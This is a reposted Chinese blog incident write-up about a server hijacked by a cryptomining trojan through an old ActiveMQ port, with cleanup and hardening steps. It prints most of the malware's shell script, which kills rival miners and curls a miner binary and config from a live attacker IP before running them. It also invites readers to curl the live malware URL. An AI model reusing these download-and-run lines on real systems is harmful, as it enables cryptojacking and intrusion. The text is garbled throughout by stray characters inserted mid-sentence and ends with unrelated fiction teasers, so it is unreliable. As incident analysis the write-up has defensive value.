轉:記一次服務器被植入挖礦木馬cpu飆升200%解決過程

保存一下谎僻,之前服務器也被植入木馬好幾次,下次處理可以更加有跡可循一點寓辱,之前都是無頭蒼蠅亂來。
轉載原文:https://my.oschina.net/liughDevelop/blog/1786631#comment-list

摘要: 線上服務器被攻擊赤拒,網頁不能訪問秫筏,數據庫和tomcat蹦掉,重啟直接被killed挎挖。

線上服務器用的是某訊云的这敬,歡快的完美運行著Tomcat,MySQL蕉朵,MongoDB崔涂,ActiveMQ等程序。突然一則噩耗從前線傳來:網站不能訪問了始衅。

此項目是我負責冷蚂,我以150+的手速立即打開了服務器,看到Tomcat掛了汛闸,然后順其自然的重啟蝙茶,啟動過程中直接被killed,再試試數據庫诸老,同樣沒成功隆夯,多次嘗試甚至重啟機器無果。機制的我打了個top别伏,出現(xiàn)以下內容:

image

這是誰運行的程序蹄衷?不管三七二十一先殺掉再說,因為它就是Tomcat等程序啟動不了的元兇厘肮。然而并沒有什么卵用愧口,過一會再看那個東西又跑出來占cpu。懷疑是個定時任務:

image

什么鬼轴脐,是個圖片调卑?立即訪問了一下:

image

好尷尬,但是心思細膩的我早知道沒這么簡單大咱,肯定只是偽裝,crul過去是下面的腳本溯捆,過程就是在挖礦:

#!/bin/sh
pkill -9 142.4.124.164
pkill -9 192.99.56.117
pkill -9 jva
pkill -f ./atd
pkill -f /tmp/wa/httpd.conf
pkill -f 108.61.186.224
pkill -f 128.199.86.57
pkill -f 67.231.243.10
pkill -f 142.4.124.164
pkill -f 192.99.56.117
pkill -f 45.76.102.45
pkill -f AnXqV.yam
pkill -f BI5zj
pkill -f Carbon
pkill -f Duck.sh
pkill -f Guard.sh
...中間省略
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
ps -fe|grep -w suppoie |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig1
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
sleep 3
fi
if [ $? -eq 0 ]
then
pwd
else
curl -o /var/tmp/config.json http://192.99.142.235:8220/1.json
curl -o /var/tmp/suppoie http://192.99.142.235:8220/rig2
chmod 777 /var/tmp/suppoie
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./suppoie -c config.json -t `echo $cores` >/dev/null &
fi
echo "runing....."

有興趣的同學想查看以上完整源代碼提揍,命令行運行下面指令(不分操作系統(tǒng)劳跃,方便安全無污染):

curl 192.99.142.235:8220/logo3.jpg

既然知道它是個定時任務刨仑,那就先取消了它,并且看看它是誰在運行:

image

殺掉辙诞,找到存放目錄:

image

進入臨時目錄:

image

被我發(fā)現(xiàn)配置文件了,先來看看內容:

image

虎軀一震祈搜,發(fā)現(xiàn)了不少信息啊夭问,user是他的server的登錄用戶,下面是密碼缰趋,只可惜加密過秘血,應該找不到對方。算了灰粮,大度的我先不和你計較粘舟。干掉這兩個文件后再查看top:

image

解決辦法

找到寄生的目錄柑肴,一般都會在tmp里晰骑,我這個是在/var/tmp/。首先把crontab干掉秽荞,殺掉進程,再刪除產生的文件阶捆。啟動Tomcat等程序趁猴,大功告成彪见!

等等余指,這遠遠不夠酵镜,考慮到能被拿去挖礦的前提下你的服務器都已經被黑客入侵了淮韭,修復漏洞才對靠粪,不然你殺掉進程刪掉文件后,黑客后門進來history一敲占键,都知道你做了啥修復手段畔乙。

所以上面辦法治標不治本翩概,我后續(xù)做了以下工作:

1.把所有軟件升級到新版本

2.修改所有軟件默認端口號

3.打開ssh/authorized_keys, 刪除不認識的密鑰

4.刪除用戶列表中陌生的帳號

5.封了他的ip

6.SSH使用密鑰登錄并禁止口令登錄(這個一般是加運維一個人的秘鑰)

對了牍鞠,本次遭受攻擊是低版本ActiveMQ開放端口61616有漏洞上沐,大家記得做優(yōu)化。滔哥給提供了最好的方式:將主機鏡像龄广。找出病毒木馬择同,分析入侵原因。檢查業(yè)務程序裹纳。重裝系統(tǒng)剃氧。修復漏洞阻星。再重新部署系統(tǒng)妥箕。

寫在最后畦幢,網友提供的一勞永逸終極解決辦法:

把你自己的挖礦腳本掛上去運行,這樣別人就算掛腳本也跑不起來了瘦真。

?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市弦讽,隨后出現(xiàn)的幾起案子膀哲,更是在濱河造成了極大的恐慌某宪,老刑警劉巖兴喂,帶你破解...
    沈念sama閱讀 219,589評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異酱酬,居然都是意外死亡膳沽,警方通過查閱死者的電腦和手機让禀,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,615評論 3 396
  • 文/潘曉璐 我一進店門痛阻,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人腮敌,你說我怎么就攤上這事录平。” “怎么了缀皱?”我有些...
    開封第一講書人閱讀 165,933評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長动猬。 經常有香客問我啤斗,道長,這世上最難降的妖魔是什么赁咙? 我笑而不...
    開封第一講書人閱讀 58,976評論 1 295
  • 正文 為了忘掉前任钮莲,我火速辦了婚禮,結果婚禮上彼水,老公的妹妹穿的比我還像新娘崔拥。我一直安慰自己,他們只是感情好凤覆,可當我...
    茶點故事閱讀 67,999評論 6 393
  • 文/花漫 我一把揭開白布拥峦。 她就那樣靜靜地躺著洋闽,像睡著了一般。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上俏讹,一...
    開封第一講書人閱讀 51,775評論 1 307
  • 那天,我揣著相機與錄音,去河邊找鬼。 笑死褒颈,一個胖子當著我的面吹牛刨疼,可吹牛的內容都是我干的砾层。 我是一名探鬼主播宝踪,決...
    沈念sama閱讀 40,474評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼服鹅!你這毒婦竟也來了饭望?” 一聲冷哼從身側響起,我...
    開封第一講書人閱讀 39,359評論 0 276
  • 序言:老撾萬榮一對情侶失蹤胜嗓,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后,有當地人在樹林里發(fā)現(xiàn)了一具尸體,經...
    沈念sama閱讀 45,854評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡遗锣,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 38,007評論 3 338
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了拓轻。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,146評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡达吞,死狀恐怖,靈堂內的尸體忽然破棺而出覆糟,到底是詐尸還是另有隱情滩字,我是刑警寧澤挟裂,帶...
    沈念sama閱讀 35,826評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站,受9級特大地震影響裤纹,放射性物質發(fā)生泄漏奸汇。R本人自食惡果不足惜往声,卻給世界環(huán)境...
    茶點故事閱讀 41,484評論 3 331
  • 文/蒙蒙 一擂找、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧浩销,春花似錦贯涎、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,029評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽欢唾。三九已至且警,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間礁遣,已是汗流浹背斑芜。 一陣腳步聲響...
    開封第一講書人閱讀 33,153評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留祟霍,地道東北人杏头。 一個月前我還...
    沈念sama閱讀 48,420評論 3 373
  • 正文 我出身青樓盈包,卻偏偏與公主長得像,于是被迫代替她去往敵國和親醇王。 傳聞我的和親對象是個殘疾皇子呢燥,可洞房花燭夜當晚...
    茶點故事閱讀 45,107評論 2 356

推薦閱讀更多精彩內容

  • Spring Cloud為開發(fā)人員提供了快速構建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務發(fā)現(xiàn)寓娩,斷路器叛氨,智...
    卡卡羅2017閱讀 134,672評論 18 139
  • 轉自陳明乾的博客,可能有一定更新棘伴。 轉原文聲明: 原創(chuàng)作品寞埠,允許轉載,轉載時請務必以超鏈接形式標明文章 原始出處 ...
    LUNJINGJIE閱讀 3,977評論 1 33
  • 文/夜伴三庚 -1- 半夜三更夜陪我 未遇見你之前饭冬,陪伴我的只有無盡的夜,在半夜三更時颇象,寂寞空虛失落把我緊緊的包圍...
    夜伴三庚閱讀 628評論 4 3
  • 一旦忙起來只有煩躁的時候會想要發(fā)朋友圈伍伤。在廣東大學圈,大家都更喜歡用微信朋友圈遣钳。 仿佛很久以前我的票圈內容是精...
    郭凡一閱讀 189評論 0 2
  • 奶奶的父親的兄弟以前幫助日本人上岸扰魂,后來作為反革命分子被槍斃,所以雖然不是嫡親父母蕴茴,但是也背負了反革命子女的壞名聲...
    十梓婆娑閱讀 423評論 0 1